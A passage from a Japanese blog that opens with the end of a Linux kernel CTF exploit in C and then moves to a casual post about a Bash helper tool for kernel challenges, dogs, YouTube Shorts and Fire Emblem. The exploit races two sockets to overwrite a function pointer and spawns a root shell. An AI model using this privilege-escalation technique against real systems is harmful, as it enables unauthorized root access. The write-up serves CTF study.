  struct sockaddr peer_addr;
  unsigned len = sizeof(peer_addr);

  // connect to the socket
  puts("[+] requesting connection");
  victim_socket = connectto(PORT);
  attacker_socket = connectto(PORT);

  // accept victim and set hash filter
  puts("[+] accepting victim connection");
  assert((victim_sock_fd = accept(server_socket, &peer_addr, &len)) != -1);
  assert(ioctl(victim_sock_fd, OPTION_CALL, &call_option_empty) == 0);

  // accept attacker connection and set evil hash filter
  puts("[+] accepting attacker connection and setting hashes");
  for (int ix = 0; ix != BIGSIZE / 8; ++ix) {
    ((ulong*)bigbuf)[ix] = (ulong)nirugiri;
  }
  assert((attacker_sock_fd = accept(server_socket, &peer_addr, &len)) != -1);
  assert(ioctl(attacker_sock_fd, OPTION_CALL, &call_option_security) == 0);
  assert(write(attacker_socket, bigbuf, BIGSIZE) != -1);

  /*** invoke race ***
  * the main point is, operations is done in exact order below;
  *
  * 1. victim recv() start, which takes much time to read huge buf
  * 2. attacker StonksSocket is put
  * 3. attacker recv() is done, which means overwrite of victim Socket
  * 4. end reading of victim buf, which leads to hash_function(), in this case nirugiri()
  ***/
  puts("[+] starting race...");
  pthread_t receiver_thr, writer_thr;
  pthread_create(&receiver_thr, NULL, receiver, NULL);
  pthread_create(&writer_thr, NULL, writer, NULL);
  for (int ix = 0; ix != 100; ++ix) {
    usleep(50);
  }
  recv(victim_sock_fd, bigrcvbuf, 0x100, 0);

  sleep(1);
  if (getuid() != 0) {
    puts("\n[FAIL] couldn't get root...");
    exit(1);
  } else {
    puts("\n\n[SUCCESS] enjoy your root.");
    system("/bin/sh");
  }

  // end of life (UNREACHABLE)
  puts("[ ] END of life...");
  sleep(9999);
}

 

 

7: アウトロ

f:id:smallkirby:20211202162638p:plain

exploit

uffd殺さなくても良かったんじゃないでしょうか。

 

 

早く大学4年が終わってほしみが深くてぴえん超えてぱおんです。風花雪月は4周目がそろそろ終わります。

 

 

8: 参考

1: kernelpwn

https://github.com/smallkirby/kernelpwn

2: lysithea

https://github.com/smallkirby/lysithea

3: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

続く...

 

 

【雑談12.0】突如現れるbash欲と犬とリシテアとファイアーエムブレムとYoutubeShort

Warning

this article is not about pwn.

 

 

 

1: イントロ

 

最近、本当に朝が起きられずに困っています。理由を考えたところ、冬だから朝の日光の量が少ないという結論に至りました。僕は悪くありません。

 

 

2: 突如襲ってくるBashスクリプト書きたい欲

 

「なんかBashスクリプトを書きてぇ」

きっと皆さんも半年に一回くらい思うことがあるでしょう。僕も思いました。特にBashの構文が好きとかではないし、寧ろBash全然分からん民なのですが、知らないからこそ半年に一回くらいちゃんとしたスクリプトを書きたくなります。

Bashの一番いいところは、結局半年後には構文含めて全部忘れることです。好きな小説を、もう一度読む前の新鮮な気持ちで読み直したいというのは、人類誰もが思ったことがあるでしょう。僕もノルウェイの森は18歳に戻って何度でも読み直したい衝動に駆られます。でもそれはできません。既に何回も読んでしまったし、なによりもう20歳を超えてしまっています。ノルウェイの森は、18歳で読むべき本であり、今読み返しても当時以上の気持ちを抱くことは出来ないでしょう。対して、Bashは何度でも忘れて何度でも新鮮な気持ちで書くことの出来る唯一の言語です。書こうと思う度に、新しいBashに出会えます。

さて、問題は何を書くかです。普段からちょっとしたワンライナーくらいなら書くことはあるけど、今回はそれなりに規模のあるものを書きたい。ということで、以下に続きます。

 

 

3: リシテアのお話

 

最近、あまりCTFのkernel問題を解いていません。この前久しぶりにBsidesなんちゃらCTFのshared knoteという問題をやったけどぼろぼろぼろでした。特にひどかったのが、必ずクラッシュしてレース成功しねぇ〜〜〜〜と8億年くらい嘆いていたら、exploit中でレース後に処理を止めずにそのままexitしていたため、不正なfdをそのまま全部閉じていてそのせいで落ちていただけというのがありました。それに気づくまでかなりの時間を消耗したので、とてもぽよぽよになりました。

その問題では/proc/sys/vm/mmap_min_addrが0になっているというところに気付けるかどうかが大きかったのですが、これは僕の"kernel問で最初にやることリスト"に入っていなかったため見逃してました。そもそもにリストに入っていたとしても、リストの中身を全部チェックするのは結構面倒くさいため多分気づいていなかったと思います。

ということで、今回はココらへんの自動化を目的としてBashスクリプトを書くことにしました。わーい、わーい。題材見つかったよ〜〜。

 

書いたやつはGithubに置いときました。まだ工事中だけど。

github.com

 

試行錯誤の自動ログ

kernelpwnしてる時って、exploit書いてはQEMU立ち上げて走らせて出力見て泣いて、またexploit書き直して...の繰り返しです。問題は途中で方針転換したりした時で、まぁ大抵うまく行きません。取り敢えず一旦うまくいったところまで戻って書き直そうとしたときにはもう遅い、どこまでがうまくいってたやつか分からなくなっています。戻しては実行し、戻しては実行し、最終的には乾パンを買いに行ったっきり二度と問題を解かなくなること間違いなしです。

どうしたらいいか、答えは簡単。QEMUを動かす度にexploitのスナップショットを取れば良いんです。但しexploitだけではどの時点までうまく行っていたか分かりません。QEMUの出力も一緒に保存してしまいましょう。

git使えばいいだけですね。実行する度にcommitするのはめんどいですね。スクリプトの出番ですね。

f:id:smallkirby:20211115180107p:plain

lysithea local

戻りたいときは、一旦log一覧を確認して。

f:id:smallkirby:20211115180128p:plain

lysithea logs

これだと思うものを指定すれば、そのときのQEMU出力が見れます。これで、どこまでうまく行ってたのか分かりやすいね!わ〜〜い、わ〜〜〜い。

f:id:smallkirby:20211115180142p:plain

lysithea log 0

当時のexploitも簡単に確認できないとね。これで方針転換しほうだいだ!やった〜〜〜、やった〜〜〜〜。

f:id:smallkirby:20211115180201p:plain

lysithea fetch

コンフィグチェッカー

github.com

 

さてさて、先程話にも出た、確認すべきkernelのコンフィグの話。これも、まとめてしまいましょう。これは大体/proc以下のファイルをcatするだけなので適当にBash書いときゃOKですね。但しbusyboxのシェルはashなので、Bash-specificな機能なしのPOSIX準拠で書かなくちゃね。あと、userfaultfdが存在しているかどうかとかはCプログラム中で確認しなきゃなので、純Bashで確認できないところはCにおまかせしています。

 

但し、これを実行するのに手間がかかるとめんどくさくて、結局確認しないまま問題を解き始めて崩壊するのが目に見えていますね。そして解けなくて乾パン買いに行くのも目に見えています。人間の怠惰をなめてはいけません。これも自動化しましょう。

f:id:smallkirby:20211115180247p:plain

lysithea drothea

やった〜〜〜。これで問題を解き始める前に1コマンドをホストで叩くだけでチェックリストを確認できますね。テスト群自体はまだ殆どモックしか無いけど、まぁそれはこれからやります(やらない未来が見えているけどね)。

 

あとはスニペットをちょちょいと混ぜて

今までは、ファイルシステム展開したり圧縮したりexploitをビルドしたりするスニペットを別で管理していましたが、これも混ぜ混ぜしました。名前覚えるのめんどいしね。これでワークスペースのセットアップも1コマンドで済むね、わ〜〜〜〜いわ〜〜〜〜〜い。乾パンを買いに行ける時間が増えて嬉しいです。

f:id:smallkirby:20211115180316p:plain

lysithea init

 

飽きた

ここまで書いてBashに飽きたので、もう一生書きません。Pythonが至高だってカーニハンとリッチーが言ってました。

 

 

 

4: わんちゃんワンちゃん飼いたい

 

理念と目標を一切持たないことで知られる僕ですが、人生に対してただ一つだけ目標を持っています。

 

犬を、飼いたい。

 

これだけが、僕の人生の唯一の目標です。今すぐにでも、飼いたい。そして、愛でたい。散歩したい。

僕の実家は犬を室内飼いするのに反対な家族がいたため、犬を飼うことは出来ませんでした。外で飼うのは、僕の信念に反します。家族だから一緒の部屋で過ごしたい。よって飼うのをずっと我慢してきました。

さて、大学生になり一人暮らしになりましたが。じゃあ今すぐ犬と過ごせるかと言うと、否です。問題は金銭面ではありません。それはまぁなんとかすればなんとかなるでしょう。

問題は、大学生は研究室によく行くので家を空ける時間が多いということ。犬は人間なので、ずっと一人だと寂しくなってしまいます。不規則に且つ長時間家を空けることが多い現在は、飼うことはできません。できないというか、まぁできるはできるだろうけど、僕の犬信念に反します。

 

 

なので今は犬の画像を眺めることで我慢しましょう。以下、僕の好きな犬リストです。永久保存版です。

 

 

柴犬

f:id:smallkirby:20211115180433j:plain

Thorsten SchulzeによるPixabayからの画像

一番好き、すごく好き。地元にいる時に、近所で柴犬を飼っている人がいたので頻繁に訪れて散歩させてもらっていました。あの素朴な可愛さは何よりもたまりません。小さすぎないのも可愛いです。ぼくは小さすぎる生物(チワワとか)を虫と同じレイヤーで認識してしまいがちなので、柴犬のサイズはぼくのストライクゾーンど真ん中です。あのしっぽをマフラーにしたいです。

 

シベリアンハスキー

f:id:smallkirby:20211115180618j:plain

BARBARA808によるPixabayからの画像

狼っぽいのが好き。ハスキーを好きになったのは大学生になってからなんですが、あの大きさで体を擦り寄せてきた時には、そのまま持って帰ってしまおうかと思いましたね。

 

スピッツ(日本スピッツ)

f:id:smallkirby:20211115180632j:plain

SpiritzeによるPixabayからの画像



やや小さめの犬種の中で唯一のランクイン。スピッツは、僕が猛烈に犬を飼いたかった小学生時代に、犬種図鑑みたいなのを眺めていた中で一目惚れした犬種です。尚、一回も実物を触ったことはありません。顔が好きです。

 

秋田犬

f:id:smallkirby:20211115180649j:plain

maxxxissによるPixabayからの画像

やっぱり日本の犬こそ至高。もふもふなので最早わたあめ。わたあめに埋もれたいという良くはないけど、秋田犬に埋もれたい気持ちは人類の三大欲求の内の2つを占める。

 

たぬき

f:id:smallkirby:20211115180706j:plain

Andrei ProdanによるPixabayからの画像

 

犬以外から、堂々のランクイン。実家にたまに出現していたんですが、なんとも愛くるしい姿をしています。まるまる太ったたぬきは、もはやたぬきを超えてキツネと言っても過言ではないでしょう。

 

 

 

 

 

乾パン

f:id:smallkirby:20211115180719j:plain

非生物から、堂々のランクイン。僕も2年ほど前まではこいつを犬とは思っていなかったけれども、素朴な佇まい・愛くるしいフォルム・媚び具合、どれをとっても柴犬のそれと同じ。相違点を見つけることができなかかったため、犬として判断、ランク入り。

 

 

 

 

 

5: Youtube Shorts

 

さてさて、自分に肩書きをつけるとしたら、最初は大学4年生になるでしょう。それでは他に何か肩書きをつけるとしたら、それは間違いなく"Youtube Shortsアンチ代表"になります。

僕はYoutubeで犬の動画(そして泣く泣く猫の動画)を見ることが好きなのですが、そのYoutubeに最近Shortsという機能が実装されました。これはほぼTiktokで、神聖なるYoutubeには到底許される機能ではありません。

まず、シーケンスバーが無い。意味がわからない。時間戻しが出来ない。どうなってんねん。ダブルタップが勝手にLikeになる。自分のLikedVideosにshortsが気づかずに入っていた日には、その日はずっと嫌な気分のままです。それから、次の動画がわからない。これが一番最悪。shortsには、犬の動画が多くあります。スワイプする度に可愛い犬が出てくるため、コレ自体はまぁいいです。但し、次の動画が予測できない(学習されてるっぽいけど)ため、見たくもない動画が目に入ることが多いです。一番最悪だったのは、犬の動画を見ていてスワイプしたら、Gの動画だったときです。あの日から僕はYoutubeShortsアンチ世界代表になりました。

そして、最近はshortsが存在するYoutubeが嫌になったためスマホからYoutubeを消しました。さようなら。shortsが消えたら、また会おう。

 

 

 

6: ファイアーエムブレム

 

最近ちょっとした時間にゲームをするためにファイアーエムブレム風花雪月を買いました。いわゆるマスゲーとかSRPGとかいわれる種類のゲームです。院試期間中にこの上なくciv6にどハマリしたので、何らかのシミュレーションゲームを探していたところ、スマブラにも出てくるからという理由で風花雪月を買いました。

結果、とても好きです。ルールをよく知らないうちは、劣化版シミュレーションゲームじゃんとか思っていたけど、ちゃんと各ステータスの意味を調べている内に、ちゃんと考えてプレイできるゲームなんだと認識しました。純シミュレーションと異なり、キャラの育成要素もあるのが特長です。強いて言えば、僕は育成ゲームでは徹底的に育成しまくって、周回しまくって、ラスボスをこてんぱんに蹂躙するのが好きなのですが、本ゲームでは行動回数が制限されていたり、周回時にキャラを引き継げなかったりと育成に制限が有るため、その部分だけが少し不満です。あとキャラごとに支援値に制限が有るのも、少し不満。

既に1周して今2周目なのですが、今回はゲームを始める前にどのキャラをどう育てるかをまとめてから始めたので、1周目とは比較にならないぐらいつよつよなパーティが出来ています。空、飛び放題です。

 

先程のBashスクリプトで出てきたlysitheaとかdrotheaとかは風花雪月のキャラから取りました、意味はないけどね。リシテア、めちゃめちゃ強いです。火力がやばい。射程2の魔法しか覚えないのはあれだけど、杖持たせればいいだけです。ボスも大抵こいつでワンパンです。強い。

 

 

 

7: アウトロ

 

いかがだったでしょうか???

 

カス記事を書くのはいつだって楽しいことが知られています。

 

 

8: 参考

1: lysithea

https://github.com/smallkirby/lysithea

2: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

 

続く...

 

 

You can cite code or comments in my blog as you like basically.
There are some exceptions.
1. When the code belongs to some other license. In that case, follow it.
2. You can't use them for evil purpose.
I don't take any responsibility for using my code or comment.
If you find my blog useful, I'll appreciate if you leave comments.

This website uses Google Analytics.It uses cookies to help the website analyze how you use the site. You can manage the functionality by disabling cookies.